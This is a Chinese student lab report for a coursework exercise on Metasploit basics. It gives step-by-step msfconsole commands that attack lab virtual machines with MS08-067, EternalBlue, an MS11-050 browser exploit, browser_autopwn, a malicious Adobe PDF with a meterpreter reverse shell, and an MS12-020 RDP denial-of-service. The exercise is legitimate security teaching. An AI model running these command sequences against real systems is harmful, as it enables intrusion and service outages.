首页 技术 正文
技术 2022年11月16日
0 收藏 739 点赞 3,731 浏览 5228 个字

2018-2019 20165226 Exp5 MSF基础应用

目录


一、实验内容说明及基础问题回答

二、实验过程

三、问题与思考

四、实验总结



一、实验内容说明及基础问题回答

****
1、实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
(1) 一个主动攻击实践,如ms08_067; (1分)

(2)一个针对浏览器的攻击,如ms11_050;(1分)

(3) 一个针对客户端的攻击,如Adobe;(1分)

(4)成功应用任何一个辅助模块。(0.5分)

2、基础问题回答

(1)用自己的话解释什么是 exploit , payload , encode.

  • exploit

    渗透攻击模块,利用系统服务应用中的漏洞取得权限

  • payload

    一段代码,用于渗透之后在目标主机上执行

  • encode

    用来对payload进行编码,主要是为了避免“坏字符”和做到免杀

返回目录



二、实验过程

> 攻击机kali——172.30.2.47
> 靶机:①WinXP——172.30.6.172②win2000——172.30.5.55

Task1 主动攻击实践

ms08_067

– 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
“`
msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > show payloads

msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连

msf exploit(ms08_067_netapi) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(ms08_067_netapi) > set LPORT 5226//攻击端口

msf exploit(ms08_067_netapi) > set RHOST 172.30.6.172 //靶机ip,特定漏洞端口已经固定

msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高

msf exploit(ms08_067_netapi) > exploit //攻击

![](https://img.zhankr.net/ny0l2dqbacv219280.png)- 结果出现无法创建会话界面
![](https://img.zhankr.net/ce2ln4n4en0219281.png)- 查看targets,与本机作对比
![](https://img.zhankr.net/iot2isezobp219282.png)- 通过网上查找资料,发现xp中文版本打过补丁,于是换了一台win2000的,攻击成功
![](https://img.zhankr.net/cbsifpboyxj219283.png)- 输入`ipconfig/all`,获取相关的MAC地址、IP地址、子网掩码、网关地址以及DNS
![](https://img.zhankr.net/hqwbmmlqgi0219284.png)<h4 id=212><font size=4 face="微软雅黑">ms17_010</font></h5>
> 攻击:kali
> 靶机:①win2000②winxp③win2008- 进入msfconsole
- 输入以下指令

search ms17-010 #搜索漏洞

use exploit/windows/smb/ms17_010_eternalblue #选择漏洞

show payloads #查看可用攻击载荷

set payload windows/x64/meterpreter/reverse_tcp #选择攻击载荷

options

![](https://img.zhankr.net/iqlcopmyldy219285.png)- 再输入以下指令:

set RHOST 172.30.2.111 #设置攻击ip

set LHOST 172.30.2.47 #设置监听主机

set LPORT 5226 #设置监听端口

- 失败
![](https://img.zhankr.net/avwafqn42ft219286.png)- 尝试更换虚拟机,终于,成功
![](https://img.zhankr.net/3xmg5blm1bf219287.png)<h4 id=22><font size=4 face="微软雅黑"> Task2 针对浏览器的攻击</font></h5>
> 攻击机kali——172.30.2.47
> 靶机:①Win2000②win2007<h4 id=221><font size=4 face="微软雅黑"> ms11_050</font></h5>
- 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use windows/browser/ms11_050_mshtml_cobjectelement//使用浏览器ms11_050漏洞

msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连

msf exploit(ms11_050_cobjectelement) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(ms11_050_cobjectelement) > set LPORT 5226 //攻击端口固定

msf exploit(ms11_050_cobjectelement) > set URIPATH 5226lxs //统一资源标识符路径设置

msf exploit(ms11_050_cobjectelement) > exploit

![](https://img.zhankr.net/pxddgddhiim219288.png)- 在浏览器输入`http://172.30.2.47:8080/5226lxs`,IE无法访问
![](https://img.zhankr.net/w23t1mokqkc219289.png)- 设置浏览器的安全级别如下
![](https://img.zhankr.net/5tyo3rxjz12219290.png)- 仍然不行,重新换一台虚拟机
- 在设置Internet选项后仍是会出现IE浏览器的错误
![](https://img.zhankr.net/lctjotywdnu219291.png)<h4 id=222><font size=4 face="微软雅黑"> browser_autopwn</font></h5>
- 换一个漏洞`实施browser_autopwn模块 `
- 攻击机里进入msfconsole,然后分别输入

use auxiliary/server/browser_autopwn2

set SRVHOST 172.30.2.47

set URIPATH auto

show options


- 开始攻击,可以看到msf在不停的尝试不同的payload
![](https://img.zhankr.net/syvl0eqc1cn219292.png)- 尝试成功,输出了可被访问的URL` http://172.30.2.47:8080/auto`并启动服务器
![](https://img.zhankr.net/cgsqyksajul219293.png)- 失败again
![](https://img.zhankr.net/eb0kczduehy219294.png)<h4 id=23><font size=4 face="微软雅黑"> Task3 对客户端的攻击,如Adobe</font></h5>
- 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use windows/fileformat/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) > set payload

windows/meterpreter/reverse_tcp //tcp反向回连

msf exploit(adobe_cooltype_sing) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(adobe_cooltype_sing) > set LPORT 5226//攻击端口

msf exploit(adobe_cooltype_sing) > set FILENAME 20165226.pdf //设置生成pdf文件的名字

msf exploit(adobe_cooltype_sing) > exploit //攻击


- 将生成的pdf文件拷贝到靶机上
![](https://img.zhankr.net/fkokqyhcwof219295.png)- 在kali上输入`back`退出当前模块,进入监听模块,输入以下命令:

msf > use exploit/multi/handler //进入监听模块

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

msf exploit(handler) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(handler) > set LPORT 5226 //攻击端口固定

msf exploit(handler) > exploit

![](https://img.zhankr.net/mbgqmusbit1219296.png)- 在靶机上打开20165226.pdf文件
![](https://img.zhankr.net/wxrfdvgq3he219297.png)- 攻击机显示攻击成功
![](https://img.zhankr.net/3oey43rhikg219298.png)- 靶机关闭PDF文件则失去权限
![](https://img.zhankr.net/w0dcfmyyjx0219299.png)<h4 id=24><font size=4 face="微软雅黑"> Task4 成功应用auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块(唯一)</font></h5>
> 攻击:kali
> 靶机:win2008- 使用命令` show auxiliary`查看所有的辅助模块
- 使用`MS12-020(CVE-2012-0002)蓝屏攻击`
- 进入`msfconsole`
- 输入以下指令

search ms12-020 #搜索漏洞

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids #使用漏洞

options #查看配置信息

set RHOST 172.30.2.47 #设置攻击IP

exploit #开始攻击

- 攻击成功
![](https://img.zhankr.net/kfvjae4othq219300.png) [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr><h4 id=3><font size=5 face="微软雅黑"> 三、问题与思考</font></h4>
- 问题1:在进行`ms08_067_netapi`攻击时出现以下情况
![](https://img.zhankr.net/tsxcj10asnb219301.png)- 问题1解决方案:
- 首先查看targets
![](https://img.zhankr.net/f1jyvbp1klw219302.png) - 换另一台虚拟机,再次运行,攻击成功
![](https://img.zhankr.net/3h4tbeqizga219303.png) [<font size=3 face="微软雅黑">返回目录</font>](#00)<h4 id=3><font size=5 face="微软雅黑"> 四、实验总结</font></h4>
本次实验学会了如何搜索漏洞,并在现有的漏洞环境下,尝试利用漏洞进行直接或间接主动攻击客户端。在整个过程中,其实找适合的虚拟机特别关键,整个过程耗费的时间大量集中在尝试不同虚拟机使其得以被攻击。不乏看出,打过补丁的虚拟机其抗攻击能力更强,这也提醒我们应时常更新配置。 [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr>
相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,110
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,584
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,431
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,202
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,837
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,920